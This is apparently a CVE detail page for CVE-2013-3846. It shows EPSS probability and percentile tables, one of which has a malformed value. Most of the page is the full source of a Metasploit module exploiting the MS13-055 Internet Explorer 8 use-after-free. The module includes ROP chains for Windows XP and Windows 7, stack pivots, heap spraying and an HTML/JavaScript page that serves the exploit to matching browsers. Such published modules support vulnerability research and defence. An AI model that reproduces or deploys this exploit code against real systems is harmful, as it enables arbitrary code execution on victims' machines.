CVE-2013-3846 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	53.63%	–	–
2022-04-03	–	–	53.63%	–	–
2023-03-12	–	–	–	7.92%	–
2023-08-13	–	–	–	10.79%	–
2023-09-24	–	–	–	14.51%	–
2024-02-11	–	–	–	14.51%	–
2024-06-02	–	–	–	14.51%	–
2024-11-24	–	–	–	14.69%	–
2025-01-19	–	–	–	14.69%	–
2025-03-18	–	–	–	–	41.59%
2025-03-30	–	–	–	–	33.09%
2025-03-30	–	–	–	–	33.09,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2022-04-03	99%
2023-03-12	93%
2023-08-13	94%
2023-09-24	95%
2024-02-11	96%
2024-06-02	96%
2024-11-24	96%
2025-01-19	96%
2025-03-18	97%
2025-03-30	97%
2025-03-30	97%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", 'Description' => %q{ In IE8 standards mode, it's possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement's outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it's trying to make a call to the object's SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. }, 'License' => MSF_LICENSE, 'Author' => [ 'Orange Tsai', # Original discovery, PoC 'Peter Vreugdenhil', # Joins the party (wtfuzz) 'sinn3r' # Joins the party ], 'References' => [ [ 'MSB', 'MS13-055' ], [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret 'Align' => 0x77c4d801 # add esp, 0x2c; ret } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Pivot' => 0x7c348b05, # xchg eax, esp; ret 'Align' => 0x7C3445F8 # add esp, 0x2c; ret } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "Jul 09 2013", 'DefaultTarget' => 0)) end def get_target(agent) return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) return t end end nil end def get_payload(t, cli) rop = '' code = payload.encoded esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 case t['Rop'] when :msvcrt # Stack adjustment # add esp, -3500 esp_align = "\x81\xc4\x54\xf2\xff\xff" print_status("Using msvcrt ROP") rop = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") else print_status("Using JRE ROP") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop rop_payload << esp_align rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt rop_payload end def junk rand_text_alpha(4).unpack("V")[0].to_i end def nop make_nops(4).unpack("V")[0].to_i end def get_html(t, p) js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) js_junk = Rex::Text.to_unescape([junk].pack("V*")) q_id = Rex::Text.rand_text_alpha(1) html = %Q| <!DOCTYPE html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> </head> <script> #{js_mstime_malloc} window.onload = function() { var x = document.getElementById("#{q_id}"); x.outerText = ""; a = document.getElementById('myanim'); p = ''; for (i=0; i < 7; i++) { p += unescape("#{js_junk}"); } p += unescape("#{js_payload}"); fo = unescape("#{js_align}"); for (i=0; i < 28; i++) { if (i == 27) { fo += unescape("#{js_pivot}"); } else { fo += unescape("#{js_align}"); } } fo += p; mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"}); } </script> <table> <tr> <div> <span> <q id='#{q_id}'> <a> <td></td> </a> </q> </span> </div> </tr> </table> <t:ANIMATECOLOR id="myanim"/> </html> | html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] t = get_target(agent) if t p = get_payload(t, cli) html = get_html(t, p) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) else print_error("Not a suitable target: #{agent}") send_not_found(cli) end end end